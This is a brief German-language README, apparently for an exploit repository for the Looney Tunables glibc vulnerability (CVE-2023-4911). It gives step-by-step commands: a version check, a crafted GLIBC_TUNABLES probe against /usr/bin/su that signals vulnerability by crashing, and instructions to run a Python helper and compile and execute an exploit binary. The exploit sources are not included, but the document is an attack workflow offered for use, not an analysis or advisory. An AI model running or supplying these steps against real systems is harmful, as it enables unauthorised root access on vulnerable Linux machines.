looneyCVE

Schritt 1

Überprüfe die glibc-Version

ldd --version

Überprüfe, ob ein System anfällig für Looney Tunables CVE-2023-4911 ist

env -i "GLIBC_TUNABLES=glibc.malloc.mxfast=glibc.malloc.mxfast=A" "Z=`printf '%08192x' 1`" /usr/bin/su --help

Wenn wir einen Segmentation fault (core dumped) erhalten, ist das System anfällig.

Schritt 2

python3 libc.py

Schritt 3

gcc -o exp exp.c
./exp